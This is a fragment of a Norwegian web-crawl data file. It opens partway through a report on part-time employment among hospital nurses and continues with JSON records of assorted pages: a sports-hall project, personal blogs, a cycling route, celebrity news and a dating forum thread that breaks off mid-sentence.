om en rekke forhold som vi ellers ikke ville f\u00e5tt tilgang til (for eksempel omfanget av ekstraarbeid). Videre kan informasjon om avdelingspopulasjonen fungere som en referanseramme for \u00e5 vurdere hvor p\u00e5litelig sp\u00f8rreunders\u00f8kelsen er med hensyn til de ansattes arbeidstid (det vil si at vi vil ha et m\u00e5l for sp\u00f8rreunders\u00f8kelsens reliabilitet). Ved \u00e5 ta utgangspunkt i avdelingsniv\u00e5et g\u00e5r vi ogs\u00e5 rett til sakens kjerne. Det vil si at vi kan v\u00e6re rimelig sikre p\u00e5 at informantene er sysselsatt i sykehussektoren og jobber i f\u00f8rstelinjetjenesten ved en sengepost, poliklinikk eller spesialavdeling. Unders\u00f8kelsen omfatter s\u00e5ledes alle ansatte, uavhengig av organisasjonstilknytning, arbeidstid eller ansettelsesforhold, herunder b\u00e5de fast ansatte og vikaransatte, alle aldersgrupper og alle stillingsst\u00f8rrelser, uavhengig av hvor f\u00e5 timer de jobber per uke. Hvilke avdelinger som omfattes av denne kartleggingen er ikke tilfeldig valgt. Prosjektledelsen, i samr\u00e5d med referansegruppa, har styrt valget i f\u00f8rste omgang ved \u00e5 velge ut fylkene som avdelingene skal v\u00e6re i. I det f\u00f8lgende vil vi redegj\u00f8re for utvalget og hvilke kriterier som er lagt til grunn for valget. 5\n\n28 Valg av fylker Kartleggingene Agderforskning gjennomf\u00f8rte i omfattet avdelinger i tre fylker, nemlig \u00d8stfold, Aust- og Vest-Agder. Disse tre fylkene kjennetegnes med relativ h\u00f8y andel deltidssysselsetting blant sykepleiere og hje l- pepleiere (jf figur 2.1). Landsgjennomsnittet for deltidssysselsetting blant sykepleiere ligger p\u00e5 48,9 %, mens det tilsvarende for hjelpepleiere er 69,3 %. Siden samtlige av de tre nevnte fylkene hadde en gjennomsnitt som l\u00e5 godt over landsgjennomsnittet, var vi usikre p\u00e5 hvor representative disse avdelingene var i forhold til andre regioner i Norge. Det var derfor et klart \u00f8nske at denne kartleggingen skulle blant annet omfatte avdelinger i regioner med lav deltidssysselsetting. For ogs\u00e5 \u00e5 se om de tre f\u00f8rste fylkene vi s\u00e5 p\u00e5 var helt spesielle p\u00e5 grunn av for eksempel st\u00f8rre verdikonservatisme blant kvinnene, \u00f8nsker vi at denne kartleggingen ogs\u00e5 skulle omfatte andre fylker som ogs\u00e5 har h\u00f8y deltidsandel. I valg av fylker var vi ogs\u00e5 interessert i \u00e5 ha med avdelinger b\u00e5de fra fylker hvor det er f\u00e5 rekrutteringsproblemer og fylker der det er rekrutteringsproblemer. Den underliggende tanken er at i omr\u00e5dene med rekrutteringsproblemer kan en forvente \u00e5 finne avdelinger som er underbemannet, med desto st\u00f8rre press p\u00e5 de ansatte til \u00e5 ta ekstravakter. Ut fra denne antakelsen kan vi forvente at omfanget av ekstraarbeid er st\u00f8rst ved de avdelingene som ligger i omr\u00e5der med rekrutteringsvansker. Med bakgrunn i ovennevnte var det derfor \u00f8nskelig \u00e5 velge fylker b\u00e5de ut fra hensynet til omfanget av deltidssysselsettingen og rekrutteringssituasjonen. Valget falt s\u00e5ledes p\u00e5 Finnmark, Nord-Tr\u00f8ndelag, Hordaland og Oslo. Finnmark og Oslo er valgt ut p\u00e5 grunn av omr\u00e5denes lave deltidsandel og store rekrutteringsvansker blant sykepleiere. Ogs\u00e5 deltidssysselsettingen blant hjelpepleierne i disse to omr\u00e5dene ligger under landsgjennomsnittet. Men mens det er ettersp\u00f8rsel etter hjelpepleiere i Oslo, er det ikke tilfelle i Finnmark. Nord-Tr\u00f8ndelag er valgt ut p\u00e5 grunn av dens relative h\u00f8ye deltidssysselsetting og f\u00e5/ingen rekrutteringsproblemer blant begge yrkesgruppene. Hordaland er valgt ut fordi det ligger midt treet b\u00e5de med hensyn til deltidsandelen og rekrutteringssituasjonen for begge yrkesgruppene. 6\n29 Tabell 2-1. Deltidssysselsettingen og rekrutteringssituasjonen fordelt p\u00e5 fire fylker Andel deltid ) Rekrutteringsproblemer 2 2) Sykepleiere Hjelpepleiere Sykepleiere Hjelpepleiere Finnmark 24,1 55,4 Store Ingen Nord-Tr\u00f8ndelag 63,7 83,1 F\u00e5 Ingen Hordaland 53,8 79,9 Middels Middels Oslo 34,5 58,3 Store Store 1) Somatiske sykehus. Kilde: Sintef-Unimed 2 2) Kilde: Aetats kvartalsrapport om arbeidsmarkedet. Nr 3/2. Aetat kan ikke opplyse hvordan mangelen fordeler seg p\u00e5 sykehussektoren, kommunehelsetjenesten eller andre tjenester. Valg av sykehus Innen de fire utvalgte fylkene ble i f\u00f8rste omgang ti sykehus forespurt om \u00e5 delta i kartleggingen. I utgangspunktet tenkte vi oss en blanding av store og sm\u00e5 sykehus, hvor to avdelinger fra store sykehus deltar og en avdeling fra mindre sykehus. M\u00e5let var sykehusavdelinger fra de fire utvalgte fylkene. I Finnmark og N\u00f8rd-Tr\u00f8ndelag er det to somatiske sykehus, og begge sykehusene ble forespurt om \u00e5 delta. I Hordaland og Oslo er det seks somatiske sykehus dersom man ser bort fra spesialsykehusene. I disse to fylkene ble tre sykehus bedt om \u00e5 delta. Det vil si til sammen ti sykehus ble i f\u00f8rste omgang forespurt. Av de ti sykehusene som ble forespurt f\u00f8rst, takket fire nei. Tre nye sykehus ble forespurt, hvorp\u00e5 et takket nei. Det vil si \u00e5tte sykehus stilte seg til disposisjon og samtlige utvalgte fylker er representert. Tabell 2-2. Antall sykehus og avdelinger som ble forespurt i utgangspunktet Fylke Antall sykehus Antall avdelinger Finnmark 2 4 Nord-Tr\u00f8ndelag 2 4 Hordaland 3 4 Oslo 3 5 Totalt 1 17 Tre av sykehusene som ikke \u00f8nsket \u00e5 delta begrunnet det med at de ikke hadde kapasitet i personalavdelingen til \u00e5 delta. Deltakelse innebar at personalavdelingen m\u00e5tte skaffe en del bakgrunnsinformasjon tilveie og kopiere timelister. Et annet sykehus begrunnet avslaget b\u00e5de med at de ikke hadde kapasitet til \u00e5 delta og at tidspunktet for unders\u00f8kelsen var uheldig. Det siste sykehuset \u00f8nsket ikke \u00e5 delta fordi det var gjennomf\u00f8rt en lignende unders\u00f8kelse for noen \u00e5r siden i regi av Nord-Tr\u00f8ndelagsforskning og Norsk Syke- 7\n30 pleierforbund, og at sp\u00f8rreskjemaene i dette prosjektet var ansett som s\u00e5 omfattende, at de regner med en sv\u00e6rt lav svarprosent. Valg av avdelinger N\u00e5r det gjelder hvilke type avdelinger kartleggingen skulle omfatte, var det et klart \u00f8nske at man skulle hovedsakelig velge avdelinger hvor det arbeider b\u00e5de sykepleiere og hjelpepleiere. I tillegg var det \u00f8nskelig \u00e5 ha en type felles avdeling, det vil si samme avdelingstype p\u00e5 tvers av flere sykehus. I samr\u00e5d med referansegruppa ble medisinsk avdeling valgt som felles avdeling. Dette fordi medisinske avdelinger finnes ved de fleste sykehus, er ofte store avdelinger, omfatter ofte b\u00e5de sengepost- og poliklinisk aktivitet, og sysselsetter b\u00e5de sykepleiere og hjelpepleiere. Selv om prosjektledelsen i samr\u00e5d med referansegruppa styrte utvalget fram til sykehusniv\u00e5, er det sykehusene selv som har valgt ut hvilke avdelinger som til slutt deltok. Agderforskning ga uttrykk for hvilke type avdeling som var \u00f8nskelig, men det endelige valget var overlatt til de enkelte sykehusene. Hva en avdeling er, er heller ikke gitt. Ulike sykehus bruker ulike begreper for \u00e5 dele inn sin virksomhet. I introduksjonsbrevet redegjorde Agderforskning for hva vi la i begrepet: med en avdeling tenker vi oss en enhet med 2-4 sengeposter og eventuell poliklinisk virksomhet. En mellomstor avdeling kan eksempelvis omfatte ca 8-1 pleier\u00e5rsverk. St\u00f8rrelsene p\u00e5 avdelingene vil selvsagt variere med st\u00f8rrelsen p\u00e5 sykehuset. Tabell 2.3 gir en oversikt over hvilke sykehus og avdelinger som deltok i kartleggingen. Blant de 13 avdelingene som ble valgt ut er sju medisinske avdelinger eller tilknyttet medisinsk divisjon, fire er kirurgiske avdelinger eller tilknyttet kirurgisk divisjon, en avdeling er en barne- og familieklinikk, mens den siste er en akutt avdeling. St\u00f8rrelsesmessig ser vi av tabell 2.3 at de fleste avdelingene er sm\u00e5 ut fra definisjonen gitt over. Selv om alle fylkene er representert, beklager Agderforskning at det ikke var mulig \u00e5 f\u00e5 med et stort sykehus fra Vestlandet og st\u00f8rre avdelinger i Oslo, men slik ble det ikke. Av tabell 2.3 ser vi at det ogs\u00e5 forekommer store forskjeller i deltidsandelen b\u00e5de mellom yrkesgruppene og mellom avdelingene innen samme sykehus. At forskjellene i prosentpoeng er sv\u00e6rt stor for ledergruppen skyldes f\u00f8rst og fremst at antall personer er sv\u00e6rt f\u00e5 personer i hver av undergruppene. 8\n\n", "language": "no", "__index_level_0__": "bd1d26f3-3bec-46c1-bde4-88adbe813a2f"}
{"url": "http://backe.no/prosjekter/fet-arena", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:41:55Z", "text": "# Fet arena\n\nFlerbruks idrettshall p\u00e5 4300 kvadratmeter bygget for Fet idrettslag p\u00e5 Fetsund.\n\n### Ny giv til idretten p\u00e5 Fetsund\n\nSammen med en Fet idrettslag har L\u00f8nnheim idrett AS utviklet en idrettshall som rommer mangt. Dobbel flerbrukshall, klatrehall, treningsrom, sosialt rom, m\u00f8terom, kontorer, mange garderober og en kafe er det funnet plass til.\n\nVi har hatt en avgj\u00f8rende rolle i utviklingen og finansiering av hallen, sammen med idrettslagets administrasjon og tillitsvalgte. Utviklingsarbeidet har ogs\u00e5 betydd ansvar for \u00e5 sikre omregulering av tomt, et arbeid Plan 1 utf\u00f8rte p\u00e5 utmerket vis.\n\nByggestart for Fet Arena AS var h\u00f8sten 2016 og idrettslaget gleder seg til \u00e5pning av et fantastisk anlegg allerede h\u00f8sten 2017. De n\u00e6rliggende skolene og L\u00e6ringsverkstedets nye barnehage som Backe bygger p\u00e5 nabotomten vil bli dagtidsbrukere av hallen.\n\nHallen bygges i totalentreprise av Backe Romerike.\n\n", "language": "no", "__index_level_0__": "094db084-5ce2-446a-af2d-f22b72615734"}
{"url": "http://komadyret.blogspot.com/2009/01/sokker-til-liva-beathe-mnsteret-stemmer.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:18:31Z", "text": "\n\n## 16 januar 2009\n\n  \n  \nSokker til Liva Beathe, m\u00f8nsteret stemmer jo ikke helt slik jeg hadde h\u00e5pet da, men sokk er en sokk....hehe. Kevin fikk bl\u00e5 sokker.......\n\nKomadyret                \n", "language": "no", "__index_level_0__": "3abfe8b4-1789-4ad6-b39d-a20eb659d0e8"}
{"url": "http://vannlandet.blogspot.com/2014/09/tittei.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:11:24Z", "text": "## torsdag 11. september 2014\n\n### Tittei.\n\n  \n\n\n  \nDet ble litt stille her p\u00e5 Vannlandet. Energien forsvant, og jeg hadde liksom ikke s\u00e5 mye \u00e5 formidle, f\u00f8lte jeg. \u00a0Slik det ofte blir ved depresjoner. En f\u00f8ler ikke at en har s\u00e5 mye \u00e5 komme med av verdi for andre, og trekker seg gjerne litt bort. Og skulle en ha noe p\u00e5 hjertet, s\u00e5 er det lett \u00e5 f\u00f8le at ingen \u00f8nsker \u00e5 h\u00f8re det likevel. Noe som selvf\u00f8lgelig kan stemme, men ikke alltid. Ofte er det depresjonen som snakker i slike sammenhenger, og en projiserer lett tanker og f\u00f8lelser inn i dem en har rundt seg, mens en stort sett f\u00f8ler seg som en belastning.\n\n  \nMen for de som \u00f8nsker \u00e5 lese om slikt som dette, s\u00e5 kan jeg fortelle at bivirkningene fra antidepressiva n\u00e5 har dempet seg en del, slike at dagene f\u00f8les litt lettere. Jeg har ogs\u00e5 fullf\u00f8rt antibiotikakur nummer to etter at lungebetennelsen jeg fikk blusset opp igjen, men det virker som jeg m\u00e5 g\u00e5 en runde til. Dette med lungebetennelser over s\u00e5 lang tid tar litt p\u00e5, kjenner jeg. Jeg f\u00e5r gi det noen dager til for \u00e5 bli sikker, og h\u00e5pe det bare er de vanlige lungeproblemene som krangler litt. En vil jo ikke l\u00f8pe av g\u00e5rde til legen i eninga og f\u00f8le seg som en hypokonder om det ikke var noe likevel. Men en b\u00f8r jo heller ikke vente for lenge.\n\n  \nEllers er det ikke s\u00e5 mye \u00e5 fortelle herfra. Jeg har sett mye skit p\u00e5 tv siste tiden, og sovet enormt mye. Gjerne to, tre ganger p\u00e5 dagen, i tillegg til 8-9 timer om natten. Men n\u00e5 sover jeg kun en gang om dagen. Det skyldes nok at bivirkningene er p\u00e5 tilbaketog. Mye av tiden har ogs\u00e5 godt med til \u00e5 stirre inn i meg selv, uten at jeg akkurat h\u00f8ster s\u00e5 mye \u00e5 skrive blogg om fra det. Det er mest bomull der, og den kan en stirre seg blind p\u00e5. Men om jeg ikke gj\u00f8r s\u00e5 mye selv, s\u00e5 er kj\u00e6resten min aktiv. Hun begynte \u00e5 studere igjen denne h\u00f8sten, og i g\u00e5r hadde hun en avgj\u00f8rende pr\u00f8ve som hun m\u00e5tte best\u00e5 for \u00e5 kunne fortsette p\u00e5 den studieformen\u00a0hun har valgt. Og hun besto med glans. Noe jeg aldri tvilte p\u00e5. S\u00e5 hurra for kj\u00e6resten min\\! Jeg er kjempestolt av henne\\!\n\n  \nJeg vet ikke hvor ofte jeg kommer til \u00e5 skrive p\u00e5 Vannlandet framover n\u00e5. Kanskje det at jeg skrev noen ord i dag f\u00e5r meg til \u00e5 fortsette som f\u00f8r jeg jeg ble satt ut, eller kanskje det vil g\u00e5 litt i rykk og napp. Men jeg f\u00f8ler at jeg har litt mer energi n\u00e5. Jeg har begynt \u00e5 prate litt mer n\u00e5r jeg er sammen med kj\u00e6resten, og klarer lettere \u00e5 ha en samtale uten \u00e5 falle ut hele tiden. Grunnen til at det ble noen ord akkurat i dag, er likevel at jeg fikk en liten hilsen p\u00e5 fjesboka fra en annen blogger i g\u00e5r, og det satte jeg stor pris p\u00e5. Det rykket meg samtidig p\u00e5 en m\u00e5te litt ut av den selvopptatte og til tider uvirkelige boblen jeg er i n\u00e5. Verden er tross alt st\u00f8rre enn den bomullen i meg selv jeg stirrer meg blind p\u00e5, og det er jeg ogs\u00e5.\n\n  \nFor andre som m\u00e5tte ha litt kranglete dager der ute, enten det skyldes at du m\u00f8tte den virkelig store veggen, eller skallet inn i lettveggen, s\u00e5 husk at det g\u00e5r over. Livet er en dynamisk ting, som i tillegg til utfordringer ogs\u00e5 har masse godt p\u00e5 lur, som bare ligger og venter p\u00e5 deg. S\u00e5 hold ut, og ta ett steg av gangen. En trenger ikke \u00e5 fikse alt akkurat i dag.\n\n  \nHa en fin dag.\n\n  \nBj\u00f8rn\n\n  \n\nDagens link:\u00a0En liten motvekt til all krigen, alt hatet og alle fordommene vi fores med via nyhetene.\n\n  \nBj\u00f8rn H\u00f8lbakken  kl. \n\n11.9.14           \n\n#### 20 kommentarer:\n\n1.  \n    \n    Annemor11. september 2014 kl. 12:57\n    \n    Deilig \u00e5 se ordene dine igjen.  \n    Ord kommer i \"klumpevis\" og ikke alle f\u00f8ler man for \u00e5 dele. For samme hvordan man snur og vender p\u00e5 det, noe energi kreves for at man skal trykke taster ogs\u00e5. Og s\u00e5 er man ikke helt pr. kasse hverken p\u00e5 den ene eller annen m\u00e5te, blir tagal og ikke helt tilstedev\u00e6rende og i et n\u00e5 synes man at man m\u00e5 da, for Jeroboams navn, sk\u00e5ne omgivelsene for en selv.  \n      \n    Likevel er det greit med ett tiitei Synes jeg.  \n    H\u00e5per lungebetennelse og annet rask tar en fort sving til h\u00f8yre og forsvinner fort.  \n    Klem :)\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken12. september 2014 kl. 13:46\n        \n        Hei Annemor.  \n          \n        Du beskriver det bra. I blant blir det litt slik du sier. Selv om tagal var et nytt ord for meg.:)  \n          \n        Ha en fin dag.:)  \n          \n        Bj\u00f8rn\n        \n    2.  \n        \n        Annemor12. september 2014 kl. 15:18\n        \n        Fikk du ett nytt ord? G\u00f8y :)  \n        Det betyr \u00e5 tie, bli taus :) og strekker seg helt tilbake til det norr\u00f8ne spr\u00e5ket  \n        Fredagsklem og hils fisken :)\n        \n    3.  \n        \n        Bj\u00f8rn H\u00f8lbakken12. september 2014 kl. 15:22\n        \n        Ah, da var den oppklart.:) Hilste til fiskene, men de s\u00e5 ikke ut til \u00e5 bry seg nevneverdig. S\u00e5nn er det med fisk.;)  \n          \n        Bj\u00f8rn\n        \n2.  \n    \n    Frk. M11. september 2014 kl. 19:05\n    \n    N\u00e5r jeg skrudde p\u00e5 pcen i dag sa jeg til meg selv at hvis Bj\u00f8rn ikke har blogget i dag, skal jeg sannelig sende han en liten hilsen for \u00e5 h\u00f8re hvordan det g\u00e5r. Det var s\u00e5 uvant \u00e5 ikke h\u00f8re noe til deg, at jeg ble rent bekymret. Veldig glad for \u00e5 h\u00f8re at det g\u00e5r bedre med deg, b\u00e5de fysisk og psykisk\\!  \n      \n    Blir nesten stolt av kj\u00e6resten din jeg ogs\u00e5, for stoltheten du formidler, smitter :)  \n      \n    Synes det var s\u00e5 fint det du skrev om depresjon i f\u00f8rste avsnitt. Kjenner meg veldig godt igjen. Depresjon er en lunefull satan. Og n\u00e5r vi snakker om det, s\u00e5 har jeg ogs\u00e5 hatt ganske gode dager i det siste. S\u00e5 ja, det er vel bare \u00e5 holde ut s\u00e5 blir det bedre til slutt :)  \n      \n    Ha en fin kveld\\!\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken12. september 2014 kl. 13:50\n        \n        Hei Frk.M  \n          \n        Det er kjekt \u00e5 lese at folk tenker p\u00e5 hverandre i v\u00e5r lille bloggverden.  \n          \n        Skal formidle ordene dine til kj\u00e6resten min.:)  \n          \n        Veldig bra at du har hatt gode dager i det siste. Det g\u00e5r opp og ned til tider, men etter \u00e5 ha v\u00e6rt p\u00e5 p\u00e5 den reisen noen ganger l\u00e6rer en seg gjerne til \u00e5 huske p\u00e5 at ting forandrer seg igjen. Ikke at det dermed gj\u00f8r alt til en tur i parken, men det er likevel viktig \u00e5 ha i bakhodet.  \n          \n        Ha en fin dag.:)  \n          \n        Bj\u00f8rn\n        \n3.  \n    \n    Unknown11. september 2014 kl. 23:20\n    \n    Hei p\u00e5 deg :)  \n    S\u00e5 fint \u00e5 lese dine gode tankar. Du m\u00e5 hugse p\u00e5 at vi som les deg er her og les n\u00e5r orda kjem, det har ingen hast. Det viktigaste er at du kjem til krefter att, b\u00e5de fysisk og psykisk. Lungebetennelser er seige saker, depresjonar likes\u00e5.Heldigvis g\u00e5r det over, om enn sakte Lyset kjem. \"V\u00e5ren er vakker for den som lenge har hatt vinter\" bj,bj\u00f8rnson  \n      \n    Gratulerer til kj\u00e6rasten. Ho har ein god kj\u00e6rast.  \n      \n    Marieklem og godnatt\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken12. september 2014 kl. 13:53\n        \n        Hei Marie.  \n          \n        Jeg f\u00f8ler heldigvis ikke noe press i forhold til \u00e5 skrive her. I hvert fall ikke fra leserne. S\u00e5 n\u00e5r ting stopper opp litt f\u00e5r det bare st\u00e5 sin pr\u00f8ve.  \n          \n        Jeg skal overbringe gratulasjonen til kj\u00e6resten.:)  \n          \n        Ha en fin dag.:)  \n          \n        Bj\u00f8rn\n        \n4.  \n    \n    Unknown11. september 2014 kl. 23:22\n    \n    ....og motvekta du gav oss var finfin :)\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken12. september 2014 kl. 13:55\n        \n        En trenger i blant \u00e5 minne seg selv p\u00e5 \u00e5 at verden best\u00e5r av mer enn krig, drap,voldtekter, ran, hat, overgrep og fordommer. Og det kan jo v\u00e6re greit \u00e5 minne andre p\u00e5 det ogs\u00e5.:)\n        \n5.  \n    \n    Lunacy12. september 2014 kl. 23:41\n    \n    Hei, ville bare skrive at jeg tittet innom bloggen din. Og jeg ser frem til \u00e5 lese litt mer i den, og f\u00f8lge deg videre\\! :) sliter selv psykisk, og blogger om det i en anonym blogg. Stikk gjerne innom :)\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken13. september 2014 kl. 11:50\n        \n        Hei Lunacy.  \n          \n        S\u00e5 hyggelig at du la igjen et spor etter deg. Jeg skal titte innom bloggen din.  \n          \n        Ha en fin dag.:)  \n          \n        Bj\u00f8rn\n        \n6.  \n    \n    gamle ugle13. september 2014 kl. 10:44\n    \n    Hei Bj\u00f8rn, jeg kan ikke si annet enn god bedring med den lungebetennelsen.  \n      \n    \u00c5 bli tagal, eller taus kjenner jeg godt til. Noen ganger er livet s\u00e5nn, energien p\u00e5 lavbluss, men som du sier, erfaring tilsier at det g\u00e5r over.  \n      \n    \u00d8nsker deg en god septemberhelg -\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken13. september 2014 kl. 11:55\n        \n        Hei gamle ugle.  \n          \n        Takk for god bedring \u00f8nsket. Det g\u00e5r seg nok til.  \n          \n        Det er nok mange som blir litt tagale fra tid til annen, men det er litt kjedelig selv om det er allment. For meg selv oppleves ikke dagene n\u00e5 som s\u00e5 fryktelig ille, de er mest uten innhold.  \n          \n        En fin helg til deg ogs\u00e5.:)  \n          \n        Bj\u00f8rn\n        \n7.  \n    \n    lammelaartanker15. september 2014 kl. 18:10\n    \n    Det var godt \u00e5 h\u00f8re og det er s\u00e5 sant at det vonde g\u00e5r over. Det er lett \u00e5 glemme n\u00e5r en er i en tung periode, utsikten blir uklar. Veldig fint at du skrev denne slutten p\u00e5 innlegget, den treffer sikkert noen som trenger det spesielt akkurat i dag.  \n      \n    H\u00e5per dagene dine snart blir bedre. N\u00e5r lungebetennelsen letner, blir nok det andre ogs\u00e5 lettere. Ting henger gjerne i hop.  \n      \n    God bedring\\!\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken16. september 2014 kl. 13:55\n        \n        Hei, lammelaartanker.  \n          \n        Det er veldig lett \u00e5 miste utsikten n\u00e5r en er i tung periode, som du sier. En kan tro en vil klare \u00e5 se ting klart, men det er vanskeligere enn en tror. S\u00e5 det er viktig \u00e5 minne seg selv p\u00e5 at ting vil forandre seg. For en glemmer det fort.  \n          \n        Takk for \u00f8nsket om god bedring.:)  \n          \n        Ha en fin dag.  \n          \n        Bj\u00f8rn\n        \n8.  \n    \n    Lunacy18. september 2014 kl. 23:54\n    \n    Ville bare titte innom, for \u00e5 fortelle hvor mye jeg satte pris p\u00e5 kommentarene i bloggen min. Du er s\u00e5 flink med ord, jeg kan bare dr\u00f8mme om \u00e5 v\u00e6re s\u00e5 flink til \u00e5 sette ord p\u00e5 ting\\! :) Legger igjen en klem, og h\u00e5per det g\u00e5r bra med deg.  \n    H\u00e5per du f\u00e5r en fin dag imorgen.\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken19. september 2014 kl. 14:30\n        \n        Hei Lunacy, og takk for godordene.:)  \n          \n        Her ligger livet litt p\u00e5 vent n\u00e5, men det g\u00e5r seg ganske sikkert til om ikke altfor lenge. Livet er en grei ting s\u00e5nn. :)  \n          \n        Ha en fin dag.:)  \n          \n        Bj\u00f8rn\n9.  \n    \n    Unknown21. september 2014 kl. 22:59\n    \n    Eit hei og godnatt. Marieklem\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken22. september 2014 kl. 11:03\n        \n        Hei, hei, og god formiddag. Pluss en klem tilbake.:)  \n          \n        Bj\u00f8rn\n        \n    Vannlandet er en blogg som fors\u00f8ker \u00e5 fokusere p\u00e5 livets muligheter, uten \u00e5 g\u00e5 veien om fortielse av utfordringene. Samtidig er det en blogg om det \u00e5 v\u00e6re kunstner, ha en psykisk lidelse, ha egne barn, et barnebarn, en kj\u00e6reste og to bonusbarn, noen akvarier og en liten, bl\u00e5 VW Polo jeg freser rundt i. Men mest er det bare tanker som dukker opp i det jeg begynner \u00e5 skrive.\n\n", "language": "no", "__index_level_0__": "431621b5-b216-44f9-a1e9-49a8ad7f0f53"}
{"url": "https://www.visitnorway.no/reisemal/ostlandet/hallingdal/listings-hallingdal/gol-rundt-2-(lett-middels-17-7-km)/19621/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:34:50Z", "text": "Rotneim/Vermefoss - Gol stasjon  \nSykle gjennom sentrum og f\u00f8lg gangveien i retning Rv 7. F\u00f8lg gangveien videre langs Rv 7 helt til denne stopper p\u00e5 Rotneim.\n\nSykle videre ca 150 meter langs riksveien, ta av til venstre og kryss Hallingdalselva p\u00e5 Vermefossbrua.\n\nF\u00f8lg grusvei under jernbanebrua og ta til venstre ved f\u00f8rste anledning. Ta p\u00e5 ny til venstre etter ca 750 meter og f\u00f8lg denne veien helt til du kommer til Gol stasjon og videre tilbake til Gol sentrum.\n\nNB\\! Fra h\u00f8yeste punkt mellom Moen bru og Gol stasjon er det utfordrende utforkj\u00f8ringer til Gol Motor og Fritidssenter.\n\n", "language": "no", "__index_level_0__": "4478e41b-83dc-4de8-8deb-19ecca3db848"}
{"url": "https://www.seher.no/kjendis/ja-hun-er-gravid/64283977", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:43:44Z", "text": "\n\n## \\- Ja, hun er gravid\n\nSuperstjernen er over fire m\u00e5neder p\u00e5 vei.\n\n14\\. september 2010 kl. 13.35\n\nSEHER.NO:\u00a0 Stjerneparet Pen\u00e9lope Cruz (36) og Javier Bardem (41) har holdt en lav profil siden de ble sammen i 2007, og uttaler seg sv\u00e6rt sjeldent om sitt privatliv.  \n  \n**Derfor vekket det stor oppsikt, da det ble kjent at paret hadde giftet seg i en sv\u00e6rt privat, og hemmlig, seremoni p\u00e5 Bahamas i juli i \u00e5r.**  \n  \nBryllupet satte ogs\u00e5 i gang en rekke spekulasjoner om hvorvidt Penelope er gravid, og bilder av en \u00abrundere\u00bb Cruz fra innspillingen av den siste \u00abPirates of the Caribbean\u00bb-filmen, samt det at hun den siste tiden har if\u00f8rt seg l\u00f8se plagg, har bidratt til \u00e5 sette ekstra fart p\u00e5 babyryktene.  \n  \n**N\u00e5 viser det seg imidlertid at ryktene stemmer. If\u00f8lge People magazine har nemlig stjerneparets talspersoner bekreftet graviditeten, og avsl\u00f8rer at Penelope er fire og en halv m\u00e5ned p\u00e5 vei.**  \n  \n\\- Penelope er fire og en halv m\u00e5ned gravid, sier en talsperson for stjerneparet til People.  \n  \nOgs\u00e5 i fjor gikk det en rekke rykter om at filmstjernen ventet barn. Den gang gikk hun selv ut og avviste babyryktene.  \n**\u00a0**  \n**- Plutselig begynte venner \u00e5 gi meg presanger mens de sa \u00abGratulerer, du er gravid\u00bb. Men jeg svarte \u00abDet er jeg ikke\u00bb, s\u00e5 bare returner gavene. Det er helt utrolig, sa skuespillerinnen til Us magazine i september i fjor.**  \n  \n*Vi bel\u00f8nner gode kjendistips. Tips oss p\u00e5 email@example.com, ring v\u00e5r tipstelefon 93076767 eller send sms/mms med kodeord SEHERTIPS til 1901.*\u00a0  \n  \n  \n", "language": "no", "__index_level_0__": "a6a543df-a89b-4607-a7f6-28d43bdcb83d"}
{"url": "https://sukker.no/dating-forum/648273-Tr%C3%A5d+for+oss+som+er++litt+usikre+........html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:49:15Z", "text": "# Tr\u00e5d for oss som er litt usikre .......\n\nSkjult ID med pseudonym sushibabe on. 18 jan. 2012 16:17  \n\n........om vi b\u00f8r svare / date vedkommenden.  \n  \nEr det mange som bare dater i vei eller er du mer selektiv ang\u00e5ende dating? Hva er det som er avgj\u00f8rende for deg om du vil m\u00f8te noen? Er det noe som du blir s\u00e6rlig obs p\u00e5?  \nJeg blir litt skeptisk om jeg f\u00e5r masse komplimenter type s\u00f8t og sexy fra starten......\n\nSkjult ID med pseudonym sta on. 18 jan. 2012 16:22  \n\nEr i grunn lite skeptisk av meg, men s\u00e5 er jeg mann da, ikke akkurat nedrent med komplimenter for \u00e5 si det s\u00e5nn :p Ikke s\u00e5 mye jeg steiler p\u00e5 i grunn, f\u00f8r ett m\u00f8te da. Kanskje litt mer tilbakeholden med tanke p\u00e5 hvor langt unna det er enn noe annet.\n\nSkjult ID med pseudonym sushibabe on. 18 jan. 2012 16:23  \n\nom han skriver masse rart og usammenhengende\n\nSkjult ID med pseudonym sta on. 18 jan. 2012 16:26  \n\nHehe hodestups i mail 2 er godt gjort da\\! Hmm tror faktisk jeg hadde blitt skeptisk da alts\u00e5.\n\nSkjult ID med pseudonym sushibabe on. 18 jan. 2012 16:30  \n\nHaha ikke sant, han skrev ogs\u00e5 noe om sin skost\u00f8rrelse i mail nr.2  \nHvorfor kan dette v\u00e6re relevant for en date alts\u00e5 :)?\n\nSkjult ID med pseudonym sta on. 18 jan. 2012 16:32  \n\nHar ikke det sammenheng med st\u00f8rrelse p\u00e5 junior da? :p Litt keitete m\u00e5te \u00e5 skryte p\u00e5 men ok ;)\n\nSkjult ID med pseudonym Jente on. 18 jan. 2012 16:34  \n\nH\u00f8res ut som en fyr jeg ville styrt langt unna.\n\nSkjult ID med pseudonym sushibabe on. 18 jan. 2012 16:35  \n\nAHA\\! I s\u00e5 fall kan hende jeg ombestemmer meg haha  \n  \nNeida, 